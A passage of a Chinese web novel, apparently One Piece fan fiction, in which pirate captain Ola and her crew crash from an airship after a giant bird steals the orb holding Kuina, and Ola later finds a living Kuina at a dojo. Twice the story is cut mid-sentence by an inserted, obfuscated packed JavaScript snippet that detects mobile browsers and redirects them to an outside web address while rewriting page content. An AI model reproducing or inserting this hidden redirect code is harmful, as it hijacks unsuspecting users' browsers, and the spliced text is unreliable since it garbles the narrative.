“个、十、百……啊!!!”贝沙意识到自己的声音太大,立刻捂住了嘴,左右看了看没人注意到她,才把报纸和通缉令小心翼翼的卷起来,一股脑往家里跑。 她们的家坐落在城镇外围的山坡上,只是个小木屋。当时租下这里完全是图便宜,当然买下它也很便宜。经过奥拉和贝沙的努力,早在奥拉出海前就已经成了这座小木屋的真正主人之一。 就算她已经离开,房间里属于她的气息也都被贝沙保护的很好。 贝沙冲进卧室,翻出剪刀,认真的把奥拉报纸上的专属版面剪下来,和通缉令一起贴在了墙上。 她盯着通缉令上奥拉的脸,笑着笑着忽然有些难过。可她没有沉溺在其中很快振作,将床上翻开的地理书抓起又风风火火的跑出了家门。 奥拉姐姐已经迈出自己的那一步了,她也要加油才行啊! 鱼人岛上,当年和奥拉一起逃离鬣狗海贼团的鱼人少年塔克四年间长得更强壮了。一大早他就忙忙碌碌,如今才刚回到鱼人岛。完成任务后没有直接回家休息,而是掉头去了龙宫城。 “哟~塔克,回来了!外面怎么样了?” “已经解决了,我想求见乙姬王妃有重要的事情禀报!” 塔克几年前就加入了龙宫守卫军,一直在王妃手下做事,有段忙碌的时间经常出入龙宫城。因此守卫们对他很熟悉,没有过多询问,直接进去传报了。 塔克脸上严肃神情不变,手掌里攥着一份报纸,在他的用力下变得皱皱巴巴。 这份记录着极恶之徒“鬼疤”奥拉的报纸被新闻鸟卖向了全世界。 唯有在高空之上,暂时没有收到报纸的奥拉本人以及她的两个同伴还不知道发生了什么。 新闻鸟像是迷路了,两天后才发现了这艘在天空上航行的大船。 它蒲扇着翅膀奋力升高,确认船上有人后停在了船舷上。 买报这种需要花钱的事情,和奥拉这个破产的船长、以及只有宝石没有货币的同伙米琳没什么关系。 普鲁伊特交上一百贝里,新闻鸟不过多停留,留下报纸展翅高飞。 这还是航行出来后收到的第一份报纸。 每天在高空上基本没什么娱乐活动的奥拉快憋坏了,连米琳也大摇大摆的凑到普鲁伊特身边。 她这和以前完全不一样的走路姿势有些奇怪。 奥拉总感觉米琳最近有些奇怪,但好像又没什么特别的变化。 她困惑的视线锁在米琳身上,但后者的注意力全都在报纸上。 米琳站姿随意,单手扶胯:“上面写什么了?” 36.坠落 “让我看看。” 普鲁伊特嘟囔着打开报纸,没料想报纸中还夹着几页纸,一下失去左右纸面的支撑暴露在空气中,颤颤巍巍的飘落背着叩在了地上。 看着那明显是通缉令的泛黄纸面,不知怎得,普鲁伊特突然有种不好的预感。 居然正好是三张...... 算算时间,她们离开埃尔维斯也有十多天了,足够让那件事情发酵了。他有些逃避的尽力忽视掉落的悬赏令,把视线拉回到报纸上。 果不其然,是埃尔维斯事件的报道。 他仔细看起报纸的内容,越看越心惊。 极恶之徒? 恶魔化身? 奸猾恶棍? “嘶...” 这三恶的形容词,可以看出世界政府对于天龙人在外遇袭的愤怒了。 普鲁伊特指节不自觉收紧——他究竟在犹豫什么?得罪天龙人绝对是死罪,他绝不能往火坑里跳! “喂,你怎么了?” “没、没事!” 米琳挑眉,自然不信普鲁伊特的说辞,弯腰捡起散落在地的悬赏令。 可当她看到悬赏令上面的悬赏金后,原本还透露着轻松的表情僵住了。她张了张嘴,始终没说出话来。 奥拉看看几乎藏到报纸后面的普鲁伊特,又看看低头沉默不语的米琳。被迫感受到某种紧张的氛围蔓延,她敏锐的察觉好像发生了什么大事。 稍稍有些好奇……她嘴巴抿成条直线,螃蟹一样横着身子一点点移到两人身边,眼睛使劲往她们手中的东西上瞥。 她刚看清‘通缉’两个字。 突然——“嘭!”地一声,脚下地面忽地倾斜 “!” 普鲁伊特眼疾手快抓住船舷边,奥拉手疾眼快抓住普鲁伊特的袖子,顺便捞住了手疾眼快冒出个叹号,但仍旧单手叉腰保持人设的米琳。 普鲁伊特的袖子被拽的绷直,因为重力拉扯,万年不动的挡脸立领也因此被拽偏,另一侧的领子抵在他的脖子侧边,还在因为奥拉的力道不停往他的肉里陷。没过几秒,普鲁伊特就感觉到了窒息,脸色发紫。 普鲁伊特紧急求救。 “奥、奥奥奥奥......” “普、普普普普......” 奥拉同时出声,和普鲁伊特的声音混在一起,只不过她并不是发现了普鲁伊特因为她面临的生死问题。而是定定的看向前方,面露惊恐。 这时还保持着人设姿态的米琳也不可思议的瞪圆眼睛,手中因分神失力,悬赏令被强风卷走飞到空中,从三人的面前飞走。只不过现在没人去关心悬赏令上写的是什么了。 因为,她们三人面前,阿盖瑞斯号的船舱顶上,正站立着一只尖嘴巨鸟,它夸张尖锐的爪子插入船身,翅膀悠闲展开竟比阿盖瑞斯的船身还要宽,就是它压的整艘船倾斜成了大型滑梯。 “怪...怪物啊!!!” “普鲁那是什么?难道是传说中的船精灵吗?” 奥拉欲哭无泪,试图把这只突然出现的巨鸟和巨鹰的化身阿盖瑞斯号扯上关系。 然而,普鲁伊特半天没有反应,奥拉抬头望去才发现,这家伙垂着头,脸上露出的皮肤已经是紫中发白了,俨然是一副快要昏厥的模样了。连带着他扒着船舷的手指也一根根分离,三人保持住的线性连接即将崩坏。 眼见普鲁伊特快不行了,奥拉只得低头提醒道:“米琳,我要松手了!” 就在这时,巨鸟的翅膀猛猛煽动两下,瞬间船的另一侧又被压低。奥拉打眼一看几乎是眼前全黑,这个倾斜角度至少到达九十度了,要是掉下去就完蛋了。 奥拉找准时机,将米琳向前抡。 关键时刻,米琳可算放弃了她叉腰的姿势,双手掌使劲贴紧地面,一条腿弯曲让鞋底按住身后地板,后脑蹭在甲板上来增加摩擦力,以一个大鹏展翅的姿势潇洒滑落,斜斜的滑到了另侧的船舷上。 有惊无险间,米琳脚面踩在船舷上,她单手撑地稳住身体。 “米琳!!接住普鲁!!” 奥拉大喊,在她松手的同时,最上面的普鲁伊特也不堪重负的失去意识跟着一同滑落。 只不过奥拉没有向米琳一样立刻换个稳定的位置,而是在狂风中缓缓撑起了身体,然后深吸一口气,双腿猛蹬朝着巨鸟的方向冲刺。 米琳顿时大脑一片空白:“奥拉!” 普鲁伊特届时滑落,只是轨道有些偏离,滑到一半的时候身体已经起飞,整个人在空中安详的飞过米琳的头顶。 米琳立即伸手,可只来得及抓住普鲁伊特的帽子。 就在米琳准备跳船抓人时,普鲁伊特居然本能反应似地双手捂住了帽子,正好摁在了米琳的手上。他身体却还在向外飞,巨大地拉力带着米琳也离开了安全区。 千钧一发之际,米琳倒着用脚钩住了船舷边才没让两个人掉下去。 奥拉注意到后方伙伴们的状态,焦急地掏出口袋里的蓝色珠子朝着巨鸟的方向扔过去:“古伊娜,帮我把这只鸟赶走!” 蓝色的珠子在阳光的照射下发出亮光,投射到巨鸟的眼睛里,它不但不受影响,还张开嘴长长地鸣叫了声。 很快,借着自身珠子小巧的身形和奥拉扔过去的力道,蓝色的珠子飞到了巨鸟的面前,霎时间变成了个瘦小的身影。 紧接着,一道狠戾的剑击就砍到了巨鸟的嘴上。 “niao!!” 巨鸟吃痛的煽动翅膀,鸟爪子松开阿盖瑞斯号,飞向空中,巨大身体带来的重力终于移走。 压偏的船回归正向,米琳顺势落到甲板上,趁机将普鲁伊特拉回船上。 巨鸟可没有飞走,它摇头晃走古伊娜那一击带来的冲击,转而尖嘴对准船上的古伊娜俯冲。 “古伊娜,回去吧!” 奥拉心下一紧,边朝着古伊娜喊道,边跑向她的位置。 古伊娜没做停顿,接收到奥拉的话立刻变回了珠子,让巨鸟扑了个空。尖嘴深深没入船舱,在阿盖瑞斯号上捅了个大洞。同时巨鸟站在船舷稳住身体,再次将船带偏。 奥拉人还没到就被迫滑落。 巨鸟这次却没停留太长时间,将嘴掏出来没多久就又飞上了半空。 在阿盖瑞斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128324|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号周身飞了圈,像是觉得没意思,放过了奥拉一伙人,越升越高就要飞走。 “喂!!” 奥拉却不想放它离开,不是因为想要打败它,或者觉得自己被冒犯。 只因她看见了,那只巨鸟的尖喙间正叼着一颗蓝色的珠子——它把古伊娜带走了! “给我下来!” 巨鸟翅膀每扇一次就会带来阵阵狂风,吹着人身上的衣服窸窣作响。吹的阿盖瑞斯即便脱离巨鸟压顶也不得不左右飘忽,吹的人几乎站不稳身体。 可奥拉就那样笔直的站在破碎的船舱顶上,抓起一块碎木板朝着巨鸟扔过去,然而还没碰到巨鸟,木板就被大风带走无力地掉下高空。 巨鸟被奥拉挑衅地行为惹怒,合着的嘴里发出闷闷的低鸣:“niao!!” 它便再次朝着奥拉俯冲。 奥拉也正等着它呢,她看准巨鸟飞行的位置,沿着边缘跑动,在巨鸟鸟喙凑近的瞬间,双手抱住它的嘴,腰腹发力双脚猛蹬在巨鸟的下颌上。 巨鸟头颅扬起,仍然没松嘴,居然带着奥拉飞了起来。 “奥拉!!” 米琳刚安顿好普鲁伊特,转头一看自家船长让鸟带飞了,顿时吓得面色尽失。 她手上没有武器,只能捡起地上飞溅的木板渣扔向巨鸟阻拦它的动作。可这些东西受到的阻力太大,哪怕米琳准的吓人,也基本没有对巨鸟造成伤害。更何况,这只鸟知道底下有人攻击它,还越飞越高。 顶上,奥拉没有听到米琳的声音,只顾着把古伊娜抢回来。但无论她怎么踢这只巨鸟就是不松口,它还在升高摆动身体试图将奥拉甩下去。 巨鸟的嘴上本就没有可以让奥拉抓住的落手点,单靠着手掌的摩擦力和手腕的力量支撑住少量时间,已经到达了极限。 奥拉的手控制不住的一寸寸滑落,最终,还是被巨鸟甩掉,从空中急速掉落。 可她早就被带着偏离了船的位置。 这样下去,她不会掉回船上,只会直接掉到地面上去。 “奥拉!” 米琳咬牙,抓起船舵旁的安全绳,根本没多想,直直的朝着奥拉坠落的方向冲过去,一个箭步跳出了阿盖瑞斯。 “抓住我!” 她在空中翻腾,和奥拉始终差着一点距离。 好在,老天爷是眷顾她们的。两人都向对方努力伸出手,在不停的动作调整下,她们抓住了对方。 但同时极尽绷直的绳子不知为何再度弯曲。 阴影将空中的两人笼罩。 “阿...” 位于下方的奥拉看的真真切切,她双手用力将米琳拉向自己,可已经来不及了。 俩人的头上,巨鸟洋洋得意的徘徊在上空。而阿盖瑞斯号的侧翼已然断裂,失去了一边翅膀,它的飞行能力大打折扣,歪歪扭扭的被迫降低了飞行高度。 巨鸟就是在此时再度俯冲。 “咔!” 阿盖瑞斯号的翅膀彻底断裂了! 奥拉和米琳没有再回到船上的希望,整艘船开始与她们一起朝着下方直直坠落。 坠向死亡。 37.筹码 普鲁伊特迷迷糊糊醒来时,彷佛整个世界都被毁灭了。 他的身下是剧烈颠簸、吱呀作响的木板。眼前是急速扩大的天空与遥远相接的海平面线,呼啸的风刮的他脸生疼,将他从迷蒙中强行拉回到现实的世界中。 普鲁伊特躺在地上,狂风撕扯着他的衣服,从四处牵制住他的身体让他难以行动。 他垂眼一看,不知是谁在他身上绑了条绳子,把他固定在这里,他这才没被这股强风刮走。 奥拉呢?米琳呢? 发生了什么? 他鼻头微动,两个已经熟悉的味道在风中变得极淡,他无法判断她们两个是否还在船上。 他顶着强风翻了个身,前胸紧贴着甲板,勉强看清船的情况后,心情登时跌入谷底。 他的阿盖瑞斯号被破坏了! 一只侧翼翅膀完全消失,另外一侧更是弯曲的不像样子,整艘船已经完全失控地向地面坠落而去。 奥拉她们究竟做了什么啊! 普鲁伊特狠狠地往甲板上锤了一拳,这才满腔怨念的撑着身体半跪在甲板上。掀起自己的裤腿,抽出脚踝上黑色绑带中的小刀,割开身上的绳子。 将绳子重新绑好,动动身体确定不影响行动后,他把多余的绳子与船身固定好,迎着风匍匐在地慢慢蹭到船边上。 他这才看到,飘在外面的奥拉与米琳。 怎么办? 快想啊! 奥拉与米琳坠在更下方,居然已经开始适应风吹来的速度了。她们紧紧拥抱在一起,被米琳带下来的那条安全绳,此时也交握在两个人的手掌心中。即便如此,她们也几乎感受不到对方的温度了。 满手、满身都是冰凉的寒意与见缝插针的风。 她们现在似乎只能赌:下面是能让人有缓冲的大海,不至于让她们直接摔成肉酱。可就算是海洋,她们能存活的概率仍旧小的可怜。 从万米高空坠落,哪怕下面接住她们的是软绵绵的蹦床,都无法避免受伤的情况。 在这样下去,绝对会死。 又要赌生死了,奥拉可从来不觉得自己是什么好运气的人。 “好像...有什么声音...?” 就在前路一片绝望之时,米琳在耳边呼呼的风声中听到了不同的声音。 她扬起发白的脸,这才看见普鲁伊特居然正在船边。他嘴一张一合,只有模糊的音节传递下来,大部分声音都被风带走了。 米琳注意到他手中的小刀,胸腔中猛烈跳动的心脏不由得停了一瞬。 但猜测的坏事没有发生。 她们手中的安全绳再度绷直,不过她们所处的位置并没有跟着升高。 奥拉也看到了上方的普鲁伊特,希望之光重新亮了起来。 掉落的速度太快了,她们也不能干等着浪费时间,奥拉打定主意,稍稍松开些抱着米琳的力道,示意让她先走:“爬上去!” 坠在下面和顺着绳子往上爬很难说哪个更危险,但可以肯定的是留在下面所有人都活不了。所以米琳只犹豫了一秒,便当即点了点头,开始尝试向上爬。 麻绳粗糙的表面非常剌手,米琳爬上去时,只感觉双手火辣辣的疼似是磨出了血。 可想着奥拉还在下面,米琳根本不敢放松神经,一把抓起绳子开始往上拉。 “来不及了!”普鲁伊特胸膛起伏,说话声音有些飘,一句解释也没有,他松手头也不回地跑回船舱里。 从侧歪的阿盖瑞斯号上,米琳已经能看到大面积的深蓝海域了。 她聪明的脑袋很快明白普鲁伊特那句来不及了是什么意思。 不久之后,阿盖瑞斯号就会以这个危险的姿势掉入海里。 可奥拉会比她们更快掉下去。 如果奥拉出事了的话?她又该何去何从? 这瞬间的恐惧让她忘记了唾弃自己这一刻的自私,全部化作血液冲上大脑与四肢,脖颈间爆出几根青筋,用了浑身的力气与这天地间磅礴无序的狂风对抗。 飘在下面的奥拉内心焦急,可少了重量在末端拉住绳子,整根绳索晃动的幅度都变大了,她攀爬的速度完全提不上去。被拽上去的距离也很有限,离着船身至少还有一米多的距离。 难道只能赌一把了吗? 赌命这种事情只有一次和无数次,时隔四年再次面临这种选择,奥拉虽然万分抗拒这种做法,但似乎又不得不这么做。 她深呼吸,灌了满腔冷气,牙齿有些哆嗦。 略一低头,不过一小会儿功夫,她离着海面近了很多,但对一个即将掉下去的正常人来说这还是太高了。 “喂,奥拉!” “...普鲁?” 奥拉猛然抬头,震惊地对上普鲁伊特探出来的身体。 他打开了船舱侧面的窗户:“憋气!” “?” 不等奥拉多问,普鲁伊特已经‘啪’地关上了舱门。 接着,奥拉眼看着船身周围的白色装饰物们忽然开始急速膨胀。宛如一个个被吹起的气球,竟也带着船身稍稍稳定了几秒。 也仅仅是几秒的时间,这些气囊便开始快速的炸裂。 它们爆炸产生的气流影响了船底的位置,从而改变了整艘船的朝向,终于从侧翻的位置回正了些。 这还完全不够,普鲁伊特也意识到了这点。 那扇小窗户里,很快伸出了把剪刀,还是修剪枝叶常用的那种长柄,末端绑着根棍子一点点移动到气囊的位置,然后毫不留情的戳破了这些气囊。 他在整艘船偏前的位置,直到前面的气囊只剩下两三个才停下。这时还保留着大部分气囊的船尾被这些重量带着往下沉,使船头高高翘起。 奥拉此时连攀带被米琳拽动的,已经到达了船身的中央。 自救的时间也在这时归零了。 “嗵!!!” 阿盖瑞斯号的船尾率先接触到海面,气囊护在船底,接触海面的瞬间炸了几个,产生的气流推着船尾向上跳。连续颠簸几次后稳定了下来,好在没有翻船。 巨大的力量与加速度让阿盖瑞斯无法立刻停下,仰着头在海面上滑行,整艘船几乎是站立着,尾部在海面上割开一道细长的水流,迸溅的水珠砸在奥拉的身上似乎再提前给她做入水准备。 “咕噜咕噜咕噜....” 随着滑翔,船的前半段不断下降,飘在中央的奥拉直接砸进了大海里。 撞击给她带来了瞬间的失聪与失明,口鼻顿时冒出股腥味。 幸亏奥拉在普鲁伊特的提醒下提前做好了准备,没有让更严重的缺氧缠到身上。 只是她现在,估计也坚持不了多久。 她恢复的视线里全是泡沫与水花,耳边又是嘈杂又像是进入了一片寂静之地那样奇怪。 她唯一能做的就是抓紧手中的绳索,祈祷船早点停下来。 拉拽着奥拉的速度经过最初的加速逐渐减缓。 无数小气泡从奥拉抿死的嘴缝里飘出,越来越密,越来越多,到了后面已经完全失控。 伴随着些许鲜红与这些气泡被大海吞噬,奥拉手中的绳索也悄无声息的从她手中窜走,她身体轻飘飘的浮在水里,已没有再去抓住的力气。 只能看着它消失的尾巴,不甘的闭上了双眼。 “扑通!” 金色的弧线闯入海洋,带走了被大海留下的遇难者。 “呼——!” 米琳拖着湿漉漉的奥拉从海里探出头,挂在头顶的阳光让人重新找回了温度。 “普鲁阁下,麻烦您救救她!” 情急之下,米琳苦苦支撑的人设崩塌,她又回到了过去的样子。 普鲁伊特掰掰手指,指节发出脆响。接着双手交叠,在奥拉胸口前一阵按压。 “咳、咳...” 在外力的推动下,奥拉吐出大摊带着丝丝粉红的水。眼帘颤动,睁开时瞳孔先是涣散的,像是蒙上层尘土,良久才迟缓地对焦上。 这算不算又一次赌赢呢。 奥拉还有些模糊的视线中,冒出两张担忧的面孔。 她贪婪地呼吸着新鲜的空气,心中多出了份说不清道不明的情绪。 她想,这次似乎不一样,如果身边没有米琳和普鲁伊特,她赌不赢。 是她们救了她。 就是她身上真的好痛,她躺在地上一根手指也不想动,她向内感受了下——她的肋骨不会断 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普鲁伊特没想到奥拉会拿自己作为筹码,他声音提高了八度:“你疯了?再说了我的船已经不能飞了!” 奥拉盖住米琳陡然收紧的手让她放心,脸上没有任何开玩笑的迹象:“我会帮你修好它作为筹码的一部分。” 以普鲁伊特对奥拉的理解,他能断定她是认真的。 真是个疯子! 他暗骂一句。 奥拉的手很凉,眼中传达的却是灼热。米琳不理解奥拉的做法,书上说海贼对于想要的东西抢过来就好,但奥拉却没有那样做。 她一点也不像是个海贼,至少和书上描述的完全不一样。 可米琳深知自己信任的也正是这样的奥拉。 船长都已经拼上性命,作为船员她又怎么能缩在后面呢。 米琳笑了笑:“我也作为筹码的一部分如何?” “你们俩脑子是不是进水了?!!!” 普鲁伊特双手攥拳,完全无法跟上眼前这两个人的脑回路。他肩膀高高耸起,像是即将爆发的火山,酝酿着一股不知名的怒火。 “找到巨鸟又如何?不过是再像这次一样掉下来,人有几条命够这么造的!” “明知道会死,明知道没有办法挽回什么,还要搭上自己的命,哪怕是这样你们还是要去吗?” 奥拉的答案只有一个。这次,她只想按照自己的心意去活,哪怕最后真的死于自己的放纵,她也只会觉得了无遗憾了。 平凡安宁没什么不好的,但那样的人生对她来说有一次就够了。 面对普鲁伊特突来的脾气,她眼中泛起波澜,却很平静:“要去。” 米琳早在离开埃尔维斯时就已只有奥拉海贼团一条退路了,她自然没什么好怕的:“不是说了吗?我以后只是奥拉海贼团的米琳,船长去哪儿,我就去哪儿。” 普鲁伊特还想争辩,可看着奥拉与米琳坚定的神情,话到嘴边他又咽了回去。火山喷发到一半就没火了,他肩膀颓然塌下,嘴里不饶人恶狠狠道:“我真的会把你们交给海军,别想着我会手软!” 奥拉如释重负,牵起嘴角:“啊,麻烦你了。” 普鲁伊特几乎要抓狂了,失去了往日所有的圆滑,指着奥拉没好气道:“既然觉得麻烦别人了,就别提一些异想天开的难题出来啊!” 回答普鲁伊特的是奥拉越来越低的声音,到最后已经让人听不清了。“我先歇一会,等我起来就去找修船的材料……” 米琳拖着奥拉的头轻轻放在沙滩上:“我先去吧,普鲁阁下需要什么?” 普鲁伊特扫了眼米琳同样湿透的衣服:“你还是先去换身衣服吧。” “哈哈,谢谢你。” “别忘了给钱!” 米琳点点头,临上船前,她朝着普鲁伊特微微欠身“抱歉……普鲁阁下,我刚刚还怀疑你要割断绳子。谢谢你救了我,救了我们。” 普鲁伊特坚决维护自己的形象:“我只是个奸商,又不是个坏人。” 米琳:啊…奸商原来是夸人的话吗? 38.重逢? 奥拉醒来时发现她已经回到了船上。又是在餐厅的沙发上,又是熟悉的绷带和药味。 她揉揉太阳穴,深感自己似乎太容易晕倒了些。 餐厅里一个人都没有,奥拉扯了扯干哑的嗓子。 “米琳?” “普鲁?” 船上静悄悄的,奥拉没等到回应便起身出了船舱。出来后她围着阿盖瑞斯号巡视了一圈并没有发现两个人的身影。 浪潮轻轻拍打在阿盖瑞斯号的船壁上,留下深色的痕迹。深蓝的海面上窥探不到白色的虚影,那些白色气囊已经不见踪影,不知道是不是全部毁坏了。两侧船翼还是奥拉昏迷前残破的样子,看上去可不像是一两天就能修好的。 她虽然和普鲁伊特夸下海口会负责修船,可奥拉连普通船的结构都不熟悉,更别提修一艘能飞的船了。 前路艰难啊。 奥拉不由叹气。 但留下阿盖瑞斯号是她现在找回古伊娜的关键,只要把它修好的话就可以再到空中去了。也就能去追查古伊娜的踪迹了。 她双手扶着船舷垂头站立,闭上双眼尝试感应古伊娜的位置。不出所料,完全感受不到。 即便早有准备,她还是深受打击。 古伊娜看上去虽然是没有意志的虚影,但也实实在在陪伴了奥拉四年的光阴。她身上还背负着那孩子的执念,怎么就能让她在眼前被带走呢。 她双手攥紧,骨头指节在木板粗糙的表面上摩擦。倏忽间,又泄了气般的松开,停止对自己手指的折磨。 说到底她还是太弱了,想要顺利的航行下去还要再强些才行啊。 奥拉收拾好情绪,她目光定在沙滩后茂密的林子和隐约高隆的山形中,少刻转身回房间带好了自己的佩刀,这才跳下阿盖瑞斯号朝着林子里面走去。 与此同时,在林子的深处。 米琳与普鲁伊特正在砍伐木材,准确的说是普鲁伊特悠闲地坐在沙滩椅上动动手指,指挥米琳砍树搬运。 对此,米琳脸上没有半分不悦,她已经完全投入到了收集材料的新工作里,并且对这种需要亲自动手的工作表现的非常积极与热情。 她靴底踩在轰然倒地的粗壮木头上,手上来回拉动,让锯子的尖齿深深陷入木头的身体里,将粗壮的树干分成好搬运的几份。 直到这些枝干被全部肢解,她才停下稍稍缓口气。 米琳上身穿着紧身无袖背心,一动一静间原本白皙瘦弱的手臂上有了些许肌肉的痕迹。她腰间系着工具腰挂,除了斧子麻绳一类的工具,还别着三四根长长的箭矢,腰后挂着柄做工粗糙的木弓。 这是米琳花费身上所有宝石从普鲁伊特那置办的行头,值得一提的是那把不起眼的木弓价值最高,但米琳不想再在遇到危险的时候束手无策,那么配一把武器就至关重要了。 更何况三颗宝石也不贵,而且不光买弓送箭矢,同时衣服套装还打折,米琳甚至都觉得普鲁伊特这买卖做亏了,好心的把价格提到了四颗宝石,权当是先前对误会他的赔礼了。 “这些可还不够。”看米琳停下来,普鲁伊特头也没抬,抬手指出了四周最粗壮的几颗树,“那颗、这棵、还有那边的...全部带回去。” 米琳扛着砍断的木材走到普鲁伊特身边,额发被汗水浸湿贴在脸颊。她把木头放在已经堆起的小山上,直起腰:“啧,少来指挥老...老娘。” 她很不习惯这样说话,有种奇怪的腔调,话到最后还有些磕巴。 对于态度又变回奇怪状态的米琳,普鲁伊特适应良好,他手支在下巴上:“好的,老娘。我们最好天黑前回去。” 米琳被他呛了一下,有些别扭:“知道了,你...小子一会也来帮忙。” 普鲁伊特从米琳红透的脖颈转到她同样绯红一片的侧脸,没头没脑的来了句,“米琳小姐,你这是要往傲娇方向发展吗?” “傲娇?”米琳跟着重复呢喃了句,旋即面露疑惑:“海贼手册上没有写,那是什么?” 还没等普鲁伊特解释她又忽然恍然大悟,清咳一声:“咳、别夸我了,混...混蛋。快点干活吧!” 普鲁伊特无语了。 当初向米琳推销这本海贼手册时,普鲁伊特根本没想到真的有人会把那本无聊透顶、字里行间充满对海贼臆想的小说看完,并且还借鉴里面对海贼形象的描写奉为圭皋。让一个连海贼都不是的作者写出来的海贼手册成为自己学习的目标...... 简直就是笨蛋行为。 亏他还以为公主会是个聪明人,刚上船时还真被她给吓到了呢。 至于现在? 普鲁伊特完全有信心在她们三人中占领智商高地。 他看着米琳又吭哧吭哧开始砍树,心安理得的换了个姿势准备在回船前小睡一觉。 可就在他闭上眼睛时,他对面的绿叶丛中忽然出现了窸窸窣窣的声响,似乎还有...骂骂咧咧的嘀咕? 有人? 普鲁伊特当即睁开眼,就在这时对面的树丛中冒出了张脸,措不及防的一双黑漆漆的眸子与普鲁伊特对上了视线。 “啊!!” 普鲁伊特大叫一声,手脚并行的往后退。他的动作太大,沙滩椅整个都歪倒在了他身前。 “怎么了?” 另一边米琳听到动静放下手中的活赶过来,就见普鲁伊特缩在沙滩椅后面,枯枝一样的手搭在椅子架上悄悄露出点头。 在他对面,一个绿色头发的男孩从灌木丛里钻了出来。他看起来年龄不大,腰间别着三把木刀,衣服上沾满树叶和泥土,脸上挂着明显的不耐烦。 男孩抬头,看到米琳和普鲁伊特,愣了一下,随即皱眉:“你们是谁?” 见是个小男孩,普鲁伊特悬着心才放下,他从椅子后面站起来,当作什么事情都没发生的样子上下打量了眼突然冒出来的小孩:“你...迷路了?” “才不是!”男孩立刻反驳,只不过实在不能让人信服。刚刚反驳完他就环顾四周,表情更加困惑了,自以为声音压的很低,“这到底是哪……” 米琳&普鲁伊特:就是迷路了啊。 米琳下意识想安慰这个孩子,话到嘴边又咽了回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142013|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,换成更强硬的口吻:“小孩,别指望我们给你指路,离这里远点。” 男孩盯着她看了一会儿,半响鼻腔里发出一声短哼,转身就要离开。 恰在这时,米琳又补充了句:“不想死就滚远点,我们可是海贼。” 男孩离去的脚步停住了。 “海贼?” 意识到米琳说了什么,普鲁伊特慌忙去拽米琳的腰带。要是被这小孩回去告诉大人她们可就别想安心修船了! 书上说海贼在对峙中气势是很重要的东西。 所以米琳没有分心去关注普鲁伊特,她抱住手臂扬了扬下巴:“对。” 普鲁伊特恨不得扑上去捂住米琳的嘴,他小碎步倒退远离米琳,扶着树干哭哭叽叽:“我不是海贼!” 男孩根本没听普鲁伊特的狡辩,双手已经搭在了腰间的木刀上,冷淡的表情中带上了些不符合他这个年龄的凶光:“那就不能让你们留在这里了。” 米琳挑眉:“我们海贼对小孩...小鬼也不会手下留情噢。” 她没有因为对方是个孩子就放松警惕,同样手探向后腰。她到不是真的想杀个孩子,不过这孩子未免胆子太大了些,倒是可以给他个教训,让他以后不要随便招惹海贼以免惹来杀身之祸。 要是奥拉在这里,知道米琳心中所想一定会哭笑不得。 这可是未来的海贼猎人,罗罗诺亚·索隆啊!未来他不但不会绕着海贼走,还会把他们都拿去换悬赏金。 更可怕的是,他还会成长为未来海贼王的二把手,和他结仇可不是个好选项。 可是现在奥拉不在这里,唯一能拉架的普鲁伊特见要开打已经又往林子里退了退,退到连人影都模糊了,才对着米琳进行无任何作用的劝说:“打小孩子赢了胜之不武,输了招惹麻烦,还是别打了!” 米琳没理会他。 一大一小间的战斗一触即发。 比起树林里升起的火药味,奥拉这边就安宁多了。 她在树林里穿了半天也没找到她的两个同伴,倒是穿过了这片茂密的林子。 脚下开始出现隐约的小径痕迹,是条土路,很有可能通向本地人居住的村镇。 她沿着小路一直向前,远处传来规律的敲击声。 咚、咚、咚。 清脆的、富有节奏的声响越发清晰。奥拉脚下微顿,朝着这道声音改变了方向,同时手按在了刀柄上。 就这样又走了段路后,茂密的绿色开始减少,再通过一片稀疏的树林后,她的眼前豁然开朗。 一片空地出现在眼前。 空地边缘立着几座和风的屋子,中央是个宽阔的演武场。十几个孩子正手持竹刀练习基础劈砍,奥拉从他们身上一一扫过,忽然再扫到某个身影时停住了。 她瞳孔骤缩,呼吸仿佛停止了。 一个女孩正跪坐在廊下,静静看着这些挥舞竹刀的小男孩们。她脸上恬静,就那样安静地呆在屋檐打下的阴影中。 那张脸,不会错的。 是古伊娜,有呼吸的,有面孔的,作为正常人类的古伊娜。 39.古伊娜的命运 古伊娜为什么会在这里? 大脑的空白过后,涌上身躯的是刺骨的寒意。 奥拉一瞬不瞬的用目光描摹着蓝发女孩的面孔,直到那孩子被她灼热的视线打扰疑惑地望过来时,她都始终没有从这股摄人的冰冷中脱离。 她原本以为只要不断的升级转运珠,蓝色虚影的古伊娜就能慢慢变回正常的人类。 她努力了四年,现在告诉她这个世界的古伊娜还好好的活着,诚然这是个好事。可那颗记载着古伊娜所有执念的转运珠又是怎么回事? 她看着向她走来的蓝发女孩竟然有了想要逃跑的念头,但身体却像被巨大的钉子固定在了原地。 转运珠,转的究竟是谁的运? “你好,请问来我们道场有什么事情吗?”古伊娜被盯得有些不自在,在离奥拉还有几步远的位置停下。一时没得到回答,她偏头注意到了奥拉腰间别着的佩刀,当即露出了然的神情,“是来踢馆的?” 她的声音不大,正好穿过了整个道场,那本响亮的挥舞声戛然而止。 奥拉顿时察觉到数十道或打量或满是敌意的眼神聚集在自己身上。 她看着古伊娜稚嫩的脸,犹豫了片刻后微微颔首:“是。” 虽然会耽误修船的时间,但她还是想要先留下来搞清楚古伊娜身上发生了什么。若是转运珠的存在对古伊娜本人没有影响的话,她就离开这里,但如果结果相反... 